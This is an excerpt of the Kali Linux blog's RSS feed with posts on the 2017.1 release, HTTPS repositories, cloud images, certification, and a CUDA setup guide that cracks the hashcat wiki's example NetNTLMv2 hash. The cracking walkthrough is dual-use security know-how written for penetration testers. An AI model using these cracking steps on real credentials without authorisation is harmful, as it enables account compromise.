&lt;p>@Re4son invites you to get involved as he works on new modules and improving his projects. He can be reached on the Kali forums, at &lt;a href="https://twitter.com/Re4sonKernel">@Re4sonKernel&lt;/a>, &lt;a href="https://github.com/Re4son">github.com/Re4son&lt;/a> or &lt;a href="https://whitedome.com.au/re4son/">whitedome.com.au/re4son/&lt;/a>.&lt;/p></description></item><item><title>Kali Linux 2017.1 Release</title><link>https://www.kali.org/blog/kali-linux-2017-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2017-1-release/</guid><pubDate>Tue, 25 Apr 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2017-1-release/images/kali-release-2017-1.jpg" type="image/jpg"/><description>&lt;p>Finally, it&amp;rsquo;s here! We&amp;rsquo;re happy to announce the availability of the &lt;strong>Kali Linux 2017.1 rolling release&lt;/strong>, which brings with it a bunch of exciting updates and features. As with all new releases, you have the common denominator of &lt;a href="https://bugs.kali.org/changelog_page.php">updated packages&lt;/a>, an updated kernel that provides more and better hardware support, as well as a slew of updated tools - but this release has a few more surprises up its sleeve.&lt;/p>
&lt;h3 id="support-for-rtl8812au-wireless-card-injection">Support for RTL8812AU Wireless Card Injection&lt;/h3>
&lt;p>A while back, we received a feature request asking for the &lt;a href="https://bugs.kali.org/view.php?id=3260">inclusion of drivers for RTL8812AU wireless chipsets&lt;/a>. These drivers are not part of the standard Linux kernel, and have been modified to allow for injection. Why is this a big deal? This chipset supports &lt;strong>802.11 AC&lt;/strong>, making this one of the first drivers to bring injection-related wireless attacks to this standard, and with companies such as ALFA making the &lt;strong>AWUS036ACH&lt;/strong> wireless cards, we expect this card to be an arsenal favourite.&lt;/p>
&lt;p>The driver can be installed using the following commands:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2017-1-release/images/AWUS036ACH.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2017-1-release/images/AWUS036ACH.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt install realtek-rtl88xxau-dkms
&lt;/code>&lt;/pre>
&lt;h3 id="streamlined-support-for-cuda-gpu-cracking">Streamlined Support for CUDA GPU Cracking&lt;/h3>
&lt;p>Installing proprietary graphics drivers has always been a source of frustration in Kali. Fortunately, improvements in packaging have made this process seamless - allowing our users a streamlined experience with GPU cracking. Together with supported hardware, tools such as Hashcat and Pyrit can take full advantage of NVIDIA GPUs within Kali. For more information about this new feature, check out the &lt;a href="https://www.kali.org/blog/cloud-cracking-with-cuda-gpu/">related blog post&lt;/a> and updated &lt;a href="https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/">official documentation&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2017-1-release/images/small_nvidia-geforce-gtx-1070-5.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2017-1-release/images/small_nvidia-geforce-gtx-1070-5.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="amazon-aws-and-microsoft-azure-availability-gpu-support">Amazon AWS and Microsoft Azure Availability (GPU Support)&lt;/h3>
&lt;p>Due to the increasing popularity of using cloud-based instances for password cracking, we decided to focus our efforts into streamlining Kali&amp;rsquo;s approach. We noticed that Amazon&amp;rsquo;s AWS &lt;a href="https://aws.amazon.com/ec2/instance-types/p2/">P2-Series&lt;/a> and Microsoft&amp;rsquo;s Azure &lt;a href="https://azure.microsoft.com/en-us/blog/azure-n-series-general-availability-on-december-1/">NC-Series&lt;/a> allow pass-through GPU support so we made corresponding AWS and Azure images of Kali that support CUDA GPU cracking out of the box. You can check out our &lt;a href="https://www.kali.org/blog/cloud-cracking-with-cuda-gpu/">Cracking in the Cloud with CUDA GPUs&lt;/a> post we released a few weeks back for more information.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2017-1-release/images/Azure-AWS.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2017-1-release/images/Azure-AWS.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="openvas-9-packaged-in-kali-repositories">OpenVAS 9 Packaged in Kali Repositories&lt;/h3>
&lt;p>One of the most lacking tool categories in Kali (as well as the Open-source arena at large) is a fully-fledged vulnerability scanner. We&amp;rsquo;ve recently packaged OpenVAS 9 (together with a multitude of dependencies) and can happily say that, in our opinion, the OpenVAS project has matured significantly. We still do not include OpenVAS in the default Kali release due to its large footprint, but OpenVAS can easily be downloaded and installed using the following commands:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2017-1-release/images/openvas9-screenshot.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2017-1-release/images/openvas9-screenshot.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt install openvas
&lt;/code>&lt;/pre>
&lt;h3 id="kali-linux-revealed-book-and-online-course">Kali Linux Revealed Book and Online Course&lt;/h3>
&lt;p>To those of you following our recent announcement regarding the &lt;a href="https://www.kali.org/blog/introducing-kali-linux-certified-professional/">Kali Linux Certified Professional&lt;/a> program, we&amp;rsquo;re happy to say that we&amp;rsquo;re spot on schedule. The &lt;em>Kali Linux Revealed&lt;/em> book will be available in early July, and the free online version will be available shortly after that. We&amp;rsquo;re really excited about both the book and the online course and are anxiously waiting for this release - it marks a real cornerstone for us, as our project continues to grow and mature. To keep updated regarding the release of both the book and the online course, make sure to follow us on &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2017-1-release/images/kali-revealed-book-mock.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2017-1-release/images/kali-revealed-book-mock.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="kali-linux-at-black-hat-vegas-2017">Kali Linux at Black Hat Vegas 2017&lt;/h3>
&lt;p>This year, we are fortunate enough to debut our &lt;a href="https://www.kali.org/blog/introducing-kali-linux-certified-professional/">first official Kali Linux training&lt;/a> at the &lt;strong>Black Hat&lt;/strong> conference in Las Vegas, 2017. This in-depth, four day course will focus on the Kali Linux platform itself (as opposed to the tools, or penetration testing techniques), and help you understand and maximize the usage of Kali from the ground up. Delivered by &lt;a href="https://www.kali.org/about-us/">Mati Aharoni&lt;/a> and Johnny Long, in this four day class you will learn to become a Kali Linux ninja. We will also be delivering another Dojo event this year - more details about that to come at a later date.&lt;/p>
&lt;p>&lt;a href="https://www.blackhat.com/us-17/training/kali-linux-revealed-mastering-the-penetration-testing-distribution.html">Register for Black Hat Training&lt;/a>&lt;/p>
&lt;h3 id="kali-iso-downloads-virtual-machines-and-arm-images">Kali ISO Downloads, Virtual Machines and ARM Images&lt;/h3>
&lt;p>The Kali Rolling 2017.1 release can be downloaded via our official Kali Download page. If you missed it, our repositories have recently been &lt;a href="https://www.kali.org/blog/kali-linux-repository-https-support/">updated to support HTTPS&lt;/a>, as well as an HTTPS &lt;strong>apt&lt;/strong> transport. This release, we have also updated our &lt;a href="https://www.kali.org/get-kali/#kali-vm">Kali Virtual Images&lt;/a> and &lt;a href="https://www.kali.org/get-kali/#kali-arm">Kali ARM Images&lt;/a> downloads. As usual, if you&amp;rsquo;ve got Kali already installed, all you need to do to be fully updated is:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update
apt dist-upgrade
reboot
&lt;/code>&lt;/pre>
&lt;p>We hope you enjoy this fine release!&lt;/p></description></item><item><title>Kali Linux Repository HTTPS Support</title><link>https://www.kali.org/blog/kali-linux-repository-https-support/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-repository-https-support/</guid><pubDate>Mon, 24 Apr 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-repository-https-support/images/kali-repo-https.jpg" type="image/jpg"/><description>&lt;p>A couple of weeks back we added more HTTPS support to our Kali infrastructure, and wanted to give our users some guidance and point out what&amp;rsquo;s new. While our &lt;a href="https://www.kali.org/get-kali/">Kali Linux download page&lt;/a> (and shasums) has always been served via HTTPS, our mirror redirector has not. Now that we generate weekly images, secure access to the mirror redirector has become crucial.&lt;/p>
&lt;h3 id="httpscdimagekaliorg">&lt;a href="https://cdimage.kali.org">https://cdimage.kali.org&lt;/a>&lt;/h3>
&lt;p>This is our Kali Image Mirror Redirector. This server accepts your download requests from our &lt;a href="https://www.kali.org/get-kali/">official download page&lt;/a>, and then serves your requested file from the geographically closest mirror. This is also the download point for our &lt;a href="https://cdimage.kali.org/kali-weekly/">Kali Weekly builds&lt;/a> - now with fresh and shiny HTTPS support. Hitting this redirector via HTTPS will redirect your request to an SSL enabled download server, while an unencrypted HTTP request will redirect to an HTTP enabled mirror. Where&amp;rsquo;s the catch? Not all donated mirrors support HTTPS, so choosing this transport may result in slower download speeds. Should downloading a Kali image over HTTP be a security concern? Not if you &lt;a href="https://www.kali.org/docs/introduction/download-official-kali-linux-images/">GPG verify your downloaded image&lt;/a>.&lt;/p>
&lt;h3 id="httpshttpkaliorg">&lt;a href="https://http.kali.org">https://http.kali.org&lt;/a>&lt;/h3>
&lt;p>As a byproduct of enabling HTTPS on cdimage.kali.org, we now also support &lt;strong>apt&lt;/strong> HTTPS transports. This means that our actual Kali package repositories can support HTTPS - resulting in encrypted Kali updates and upgrades. Surprisingly, this does not add much security to the update / upgrade process (read &lt;a href="https://askubuntu.com/questions/146108/how-to-use-https-with-apt-get">here&lt;/a> if you&amp;rsquo;re wondering why) - however it *does* add an extra layer of security, so we figured, &amp;ldquo;why not?&amp;rdquo;. To enable the &lt;strong>apt&lt;/strong> HTTPS transport, first make sure the &lt;strong>apt-transport-https&lt;/strong> package is installed (it&amp;rsquo;s installed by default in our weekly images and upcoming releases) and enable the HTTPS transport in your sources.list file as shown below:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt install apt-transport-https
root@kali:~# cat /etc/apt/sources.list
deb https://http.kali.org/kali kali-rolling main contrib non-free
# deb-src https://http.kali.org/kali kali-rolling main contrib non-free
root@kali:~#
&lt;/code>&lt;/pre>
&lt;p>Now any update or upgrade operation preformed against our mirrors will be HTTPS enabled:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update
Hit:1 https://archive-3.kali.org/kali kali-rolling InRelease
Reading package lists... Done
root@kali:~#
&lt;/code>&lt;/pre>
&lt;p>As not all donated mirrors come with HTTPS support, shifting to the HTTPS transport may result in a less optimized mirror being selected for you, resulting in slower download speeds. As moving to an apt HTTPS transport &lt;a href="https://askubuntu.com/questions/146108/how-to-use-https-with-apt-get">does not provide much extra security&lt;/a>, do so only if you feel you must!&lt;/p></description></item><item><title>Cracking in the Cloud with CUDA GPUs</title><link>https://www.kali.org/blog/cloud-cracking-with-cuda-gpu/</link><guid isPermaLink="true">https://www.kali.org/blog/cloud-cracking-with-cuda-gpu/</guid><pubDate>Tue, 28 Feb 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/cloud-cracking-with-cuda-gpu/images/kali-cuda-cracking-cloud.jpg" type="image/jpg"/><description>&lt;p>Due to increasing popularity of cloud-based instances for password cracking, we decided to focus our efforts into streamlining Kali&amp;rsquo;s approach. We&amp;rsquo;ve noticed that Amazon&amp;rsquo;s AWS &lt;a href="https://aws.amazon.com/ec2/instance-types/p2/">P2-Series&lt;/a> and Microsoft&amp;rsquo;s Azure &lt;a href="https://azure.microsoft.com/en-us/blog/azure-n-series-general-availability-on-december-1/">NC-Series&lt;/a> are focused on Windows and Ubuntu. The corresponding blog posts and guides followed suit. Although these instances are limited by the NVIDIA Tesla K80&amp;rsquo;s hardware capabilities, the ability to quickly deploy a Kali instance with CUDA support is appealing.&lt;/p>
&lt;p>Installing proprietary graphics drivers has always been a source of frustration; fortunately, improvements in packaging have made this process much more seamless. Although we&amp;rsquo;ve done the work for you in the cloud offerings, we&amp;rsquo;d like to help simplify installation for your own use.&lt;/p>
&lt;h3 id="prerequisites">Prerequisites&lt;/h3>
&lt;p>First, you&amp;rsquo;ll need to ensure that your system is fully upgraded and that your card supports &lt;a href="https://developer.nvidia.com/cuda-gpus">CUDA&lt;/a>. &lt;strong>Note:&lt;/strong> GPUs with a &lt;a href="https://developer.nvidia.com/cuda-gpus">CUDA compute capability&lt;/a> &amp;gt; 5.0 are recommended, but GPUs with less will still work:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update &amp;amp;&amp;amp; apt-get dist-upgrade -y
&lt;/code>&lt;/pre>
&lt;p>Once we&amp;rsquo;ve updated the system, we need to check for the &lt;strong>nouveau kernel modules&lt;/strong>, and if enabled, blacklist them:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# lsmod |grep -i nouveau
nouveau 1499136 1
mxm_wmi 16384 1 nouveau
wmi 16384 2 mxm_wmi,nouveau
video 40960 1 nouveau
root@kali:~#
root@kali:~# echo -e &amp;quot;blacklist nouveau\noptions nouveau modeset=0\nalias nouveau off&amp;quot; &amp;gt; /etc/modprobe.d/blacklist-nouveau.conf
&lt;/code>&lt;/pre>
&lt;p>After modifying kernel parameters, we&amp;rsquo;ll need to update our &lt;strong>initramfs&lt;/strong>, then reboot:&lt;/p>
&lt;pre>&lt;code class="language-sh">update-initramfs -u &amp;amp;&amp;amp; reboot
&lt;/code>&lt;/pre>
&lt;h3 id="installation-on-a-local-computer">Installation on a Local Computer&lt;/h3>
&lt;p>Once we have rebooted and have determined that the nouveau modules have not loaded, we will proceed to install the &lt;strong>OpenCL ICD Loader&lt;/strong>, &lt;strong>Drivers&lt;/strong>, and the &lt;strong>CUDA toolkit&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit
&lt;/code>&lt;/pre>
&lt;p>During installation of the drivers the system created new kernel modules, so another reboot is required.&lt;/p>
&lt;h3 id="verify-driver-installation">Verify Driver Installation&lt;/h3>
&lt;p>Now that our system should be ready to go, we need to verify the drivers have been loaded correctly. We can quickly verify this by running the &lt;a href="https://developer.nvidia.com/nvidia-system-management-interface">nvidia-smi&lt;/a> tool:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# nvidia-smi
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 375.26 Driver Version: 375.26 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
|===============================+======================+======================|
| 0 Tesla K80 Off | 0000:00:1E.0 Off | 0 |
| N/A 28C P0 53W / 149W | 0MiB / 11439MiB | 65% Default |
+-------------------------------+----------------------+----------------------+
&lt;/code>&lt;/pre>
&lt;p>With the output displaying our driver and GPU correctly, we can now dive into password cracking. Before we get too far ahead, let&amp;rsquo;s double check to make sure hashcat and CUDA are working together:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# hashcat -I
OpenCL Info:
Platform ID #1
Vendor : NVIDIA Corporation
Name : NVIDIA CUDA
Version : OpenCL 1.2 CUDA 8.0.0
Device ID #1
Type : GPU
Vendor ID : 32
Vendor : NVIDIA Corporation
Name : Tesla K80
Version : OpenCL 1.2 CUDA
Processor(s) : 13
Clock : 823
Memory : 2047/11439 MB allocatable
OpenCL Version : OpenCL C 1.2
Driver Version : 375.26
&lt;/code>&lt;/pre>
&lt;p>&lt;strong>Note:&lt;/strong> If you receive the error c_lGetDeviceIDs(): CL_DEVICE_NOT_FOUND_ with Platform ID labeled &lt;em>Vendor: Mesa&lt;/em> run:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get remove mesa-opencl-icd
&lt;/code>&lt;/pre>
&lt;p>It appears everything is working, let&amp;rsquo;s go ahead and run a benchmark test.&lt;/p>
&lt;h3 id="benchmarking">Benchmarking&lt;/h3>
&lt;pre>&lt;code class="language-console">root@kali:~# hashcat -b
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: Tesla K80, 2047/11439 MB allocatable, 13MCU
Hashtype: MD5
Speed.Dev.#1.....: 4247.2 MH/s (102.66ms)
Hashtype: SHA1
Speed.Dev.#1.....: 1850.5 MH/s (58.64ms)
Hashtype: SHA256
Speed.Dev.#1.....: 785.1 MH/s (69.41ms)
&lt;/code>&lt;/pre>
&lt;h3 id="cracking">Cracking&lt;/h3>
&lt;p>Now let&amp;rsquo;s crack some hashes. We are going to use the example NetNTLMv2 hash found on the &lt;a href="https://hashcat.net/wiki/doku.php?id=example_hashes">hashcat wiki.&lt;/a>&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# hashcat -a 0 -m 5600 ntlmv2.hash dict.txt
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: Tesla K80, 2047/11439 MB allocatable, 13MCU
ADMIN::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030:hashcat
Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: ADMIN::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
Input.Base.......: File (dict.txt)
Input.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 0 H/s (0.10ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 101/101 (100.00%)
&lt;/code>&lt;/pre>
&lt;p>&lt;strong>Success!&lt;/strong> We&amp;rsquo;ve cracked the example hash and proven our installation is functional. There are a multitude of configurations to improve cracking speed, not mentioned in this guide. However, we encourage you to take a look at the &lt;a href="https://hashcat.net/wiki/">hashcat documentation&lt;/a> for your specific cases.&lt;/p>
&lt;h3 id="running-a-gpu-instance-in-aws">Running a GPU Instance in AWS&lt;/h3>
&lt;p>We&amp;rsquo;ve registered new CUDA enabled &lt;a href="https://aws.amazon.com/marketplace/pp/B08LL91KKB">Kali Rolling images with Amazon&lt;/a> which work out of the box with P2 AWS images. With virtually no additional setup required, you can get up and running with a Kali GPU instance in less than 30 seconds. All you need to do is choose a P2 instance, and you&amp;rsquo;re ready to start cracking!&lt;/p></description></item><item><title>The Kali Linux Certified Professional</title><link>https://www.kali.org/blog/introducing-kali-linux-certified-professional/</link><guid isPermaLink="true">https://www.kali.org/blog/introducing-kali-linux-certified-professional/</guid><pubDate>Tue, 17 Jan 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/introducing-kali-linux-certified-professional/images/kali-certified-professional-4-1.jpg" type="image/jpg"/><description>&lt;h2 id="introducing-the-klcp-certification">Introducing the KLCP Certification&lt;/h2>
&lt;p>After almost two years in the making, it is with great pride that we announce today our new &lt;strong>Kali Linux Professional certification&lt;/strong> - the first and only official certification program that validates one&amp;rsquo;s proficiency with the Kali Linux distribution.&lt;/p>
&lt;p>If you&amp;rsquo;re new to the information security field, or are looking to take your first steps towards a new career in InfoSec, the KLCP is a &amp;ldquo;must have&amp;rdquo; foundational certification. Built on the philosophy that &amp;ldquo;you&amp;rsquo;ve got to walk before you can run,&amp;rdquo; the KLCP will give you direct experience with your working environment and a solid foundation toward a future with any professional InfoSec work. As we continually see, those entering the OffSec &lt;a href="https://www.offsec.com/pwk-oscp/">PWK&lt;/a> program with previous working experience with Kali, and a general familiarity with Linux, tend to do better in the real world &lt;a href="https://www.offsec.com/pwk-oscp/">OSCP&lt;/a> exam.&lt;/p>
&lt;p>For those of you who already have some experience in the field, the KLCP provides a solid and thorough study of the Kali Linux Distribution - learning how to build custom packages, host repositories, manage and orchestrate multiple instances, build custom ISOs, and much, much, more. The KLCP will allow you to take that ambiguous bullet point at the end of your resume - the one that reads &amp;ldquo;Additional Skills - familiarity with Kali Linux&amp;rdquo;, and properly quantify it. &lt;strong>Possession of the KLCP certification means that you have truly mastered the Kali penetration testing distribution and are ready to take your information security skills to the next level&lt;/strong>.&lt;/p>
&lt;p>The KLCP exam will be available via &lt;a href="https://home.pearsonvue.com/">Pearson VUE&lt;/a> exam centres worldwide after the &lt;a href="https://www.blackhat.com/">Black Hat&lt;/a> USA 2017 event in Las Vegas.&lt;/p>
&lt;h2 id="new-book---kali-linux-revealed">New Book - Kali Linux Revealed&lt;/h2>
&lt;h3 id="mastering-the-penetration-testing-distribution">Mastering the Penetration Testing Distribution&lt;/h3>
&lt;p>More exciting news! In the past year, we&amp;rsquo;ve been working internally on an Official Kali Linux book - &lt;strong>&lt;em>Kali Linux Revealed: Mastering the Penetration Testing Distribution&lt;/em>&lt;/strong>. This is the first official Kali book from OffSec Press, and is scheduled for release on July 22nd, 2017. &lt;em>Kali Linux Revealed&lt;/em> will be available in both hard copy and online formats. Keeping the Kali Linux spirit, the online version of the book will be free of charge, allowing anyone who wishes to hone their skills and improve their knowledge of Kali to do so at no cost. This book, together with our official Kali documentation site will encompass the body of knowledge for the KLCP.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/introducing-kali-linux-certified-professional/images/kali-revealed-book-cover.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/introducing-kali-linux-certified-professional/images/kali-revealed-book-cover.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-linux-revealed-class-at-black-hat-usa-2017">&amp;ldquo;Kali Linux Revealed&amp;rdquo; Class at Black Hat USA, 2017&lt;/h2>
&lt;p>This year, we are fortunate enough to debut our &lt;a href="https://www.blackhat.com/us-17/training/index.html">first official Kali Linux training&lt;/a> at the &lt;strong>Black Hat&lt;/strong> conference in Las Vegas, 2017. This in depth, four day course will focus on the Kali Linux platform itself (as opposed to the tools, or penetration testing techniques), and help you understand and maximize the usage of Kali from the ground up. Delivered by &lt;a href="https://www.kali.org/about-us/">Mati Aharoni&lt;/a> and Johnny Long, in this four day class you will learn how to:&lt;/p>
&lt;ul>
&lt;li>Gain confidence in basic Linux proficiency, fundamentals, and the command line.&lt;/li>
&lt;li>Install and verify Kali Linux as a primary OS or virtual machine, including full disk encryption and preseeding.&lt;/li>
&lt;li>Use Kali as a portable USB distribution including options for encryption, persistence, and &amp;ldquo;self-destruction&amp;rdquo;.&lt;/li>
&lt;li>Install, remove, customize, and troubleshoot software via the Debian package manager.&lt;/li>
&lt;li>Thoroughly administer, customize, and configure Kali Linux for a streamlined experience.&lt;/li>
&lt;li>Troubleshoot Kali and diagnose common problems in an optimal way.&lt;/li>
&lt;li>Secure and monitor Kali at the network and filesystem levels.&lt;/li>
&lt;li>Create your own packages and host your own custom package repositories.&lt;/li>
&lt;li>Roll your own completely customized Kali implementation and preseed your installations.&lt;/li>
&lt;li>Customize, optimize, and build your own kernel.&lt;/li>
&lt;li>Scale and deploy Kali Linux in the enterprise.&lt;/li>
&lt;li>Manage and orchestrate multiple installations of Kali Linux.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Please Note: This is not a penetration testing course.&lt;/strong> This course is focused on teaching the student how to get the most out of the Kali Linux Penetration Testing Platform, not how to use the packaged tools in an offensive manner. Attending students will receive a signed copy of the &amp;ldquo;Kali Linux Revealed&amp;rdquo; book as well as a free voucher to sit the KLCP exam in a nearby &lt;a href="https://home.pearsonvue.com/">Pearson VUE&lt;/a> certification centre.&lt;/p>
&lt;p>A lot has been going on behind the scenes in the Kali Linux arena, and we&amp;rsquo;re excited to see our distribution get a free and formal education path. We believe this will improve the skills of those using Kali Linux and better the community and information security industry as a whole. We are putting all our efforts into finishing up the Kali Revealed book, and will keep y&amp;rsquo;all updated as the release date nears. In the meantime, follow us on &lt;a href="https://twitter.com/kalilinux">twitter&lt;/a> to get realtime updates as they come out.&lt;/p></description></item><item><title>Kali Linux in the AWS cloud, again</title><link>https://www.kali.org/blog/kali-linux-aws-cloud/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-aws-cloud/</guid><pubDate>Fri, 02 Dec 2016 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-aws-cloud/images/kali-amazon-aws-2.jpg" type="image/jpg"/><description>&lt;p>We&amp;rsquo;re happy to announce that we&amp;rsquo;ve once again listed our &lt;a href="https://aws.amazon.com/marketplace/pp/B08LL91KKB">Kali Linux images on the Amazon AWS&lt;/a> marketplace. You can now spin up an updated Kali machine easily through your EC2 panel. Our current image is a &amp;ldquo;full&amp;rdquo; image, which contains all the standard tools available in a full Kali release. Once your instance is running, connect to it with your SSH private key using the &amp;ldquo;&lt;strong>ec2-user&lt;/strong>&amp;rdquo; account. Don&amp;rsquo;t forget to update your Kali instance to get the latest packages and bug fixes. Type as root (or sudo): &lt;strong>apt update &amp;amp;&amp;amp; apt dist-upgrade&lt;/strong>. We are &amp;ldquo;selling&amp;rdquo; these images on the marketplace for &lt;strong>free&lt;/strong>, so other than the regular Amazon charges, there are no extras to pay. The Kali team would like to take this opportunity to thank &lt;strong>@r0kh&lt;/strong> for his efforts of getting Kali back on track (no pun intended) and working flawlessly in AWS. If you plan to use these Kali images for penetration testing in an AWS environment, make sure you check out the Amazon penetration testing &lt;a href="https://aws.amazon.com/security/penetration-testing/">request form&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://aws.amazon.com/marketplace/pp/B08LL91KKB">Kali Rolling on AWS&lt;/a>&lt;/p></description></item><item><title>Azure Marketplace, Weekly ISO Builds</title><link>https://www.kali.org/blog/azure-marketplace-weekly-iso-builds/</link><guid isPermaLink="true">https://www.kali.org/blog/azure-marketplace-weekly-iso-builds/</guid><pubDate>Tue, 13 Sep 2016 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/azure-marketplace-weekly-iso-builds/images/kali-msft-azure-marketplace.jpg" type="image/jpg"/><description>&lt;h2 id="kali-linux-in-the-azure-marketplace">Kali Linux in the Azure Marketplace&lt;/h2>
&lt;p>Over the past couple of weeks we&amp;rsquo;ve been working on building and implementing Kali 2016.2 in the &lt;strong>Azure Marketplace&lt;/strong>. We&amp;rsquo;re happy to announce that from today on, you can &lt;a href="https://azure.microsoft.com/en-us/marketplace/partners/kali-linux/kali-linux/">spin up a Kali machine&lt;/a> from the Azure Marketplace. In just a few seconds, you can have a full &lt;strong>penetration testing toolset&lt;/strong> at your fingertips for no additional cost (other than the standard Azure pricing). If you are a new Azure customer, you can create a free account and receive &lt;a href="https://azure.microsoft.com/en-us/offers/ms-azr-0044p/">$200 credit&lt;/a>. If you are performing penetration testing, please refer to the &lt;a href="https://security-forms.azure.com/penetration-testing/terms">Azure Testing Request&lt;/a> for more information.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/azure-marketplace-weekly-iso-builds/images/kalisummary.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/azure-marketplace-weekly-iso-builds/images/kalisummary.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-linux-weekly-iso-builds">Kali Linux Weekly ISO Builds&lt;/h2>
&lt;p>As we mentioned in our Kali Rolling 2016.2 release, we&amp;rsquo;ve started building weekly images of our Kali ISOs. This allows people access to &amp;ldquo;fresher&amp;rdquo; and more up-to-date Kali builds at any given time, and helps cut back on the long waits for updates. The ISOs will be generated each &lt;strong>Sunday&lt;/strong> and will be versioned as &amp;ldquo;&lt;strong>-W&lt;/strong>&amp;rdquo;. Once all builds are generated, they will be available via &lt;a href="http://cdimage.kali.org/kali-images/kali-weekly/">cdimage.kali.org/kali-images/kali-weekly&lt;/a>. Each weekly release will have it&amp;rsquo;s own SHA1SUM file which will be available at &lt;a href="https://archive.kali.org/kali-images/kali-weekly/SHA1SUMS">archive.kali.org/kali-images/kali-weekly/SHA1SUMS&lt;/a>.&lt;/p>
&lt;h2 id="mr-robot-ekoparty-and-release-aftermath">Mr Robot, Ekoparty, and Release Aftermath&lt;/h2>
&lt;p>We are overjoyed with the &lt;strong>positive feedback&lt;/strong> we have received from the 2016.2 update and our download servers have been squealing, serving well over 290,000 copies of Kali this month. We very much appreciate the kind words and as always, would recommend that if you happen to come across any problems - make sure to report them to us through our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>.&lt;/p>
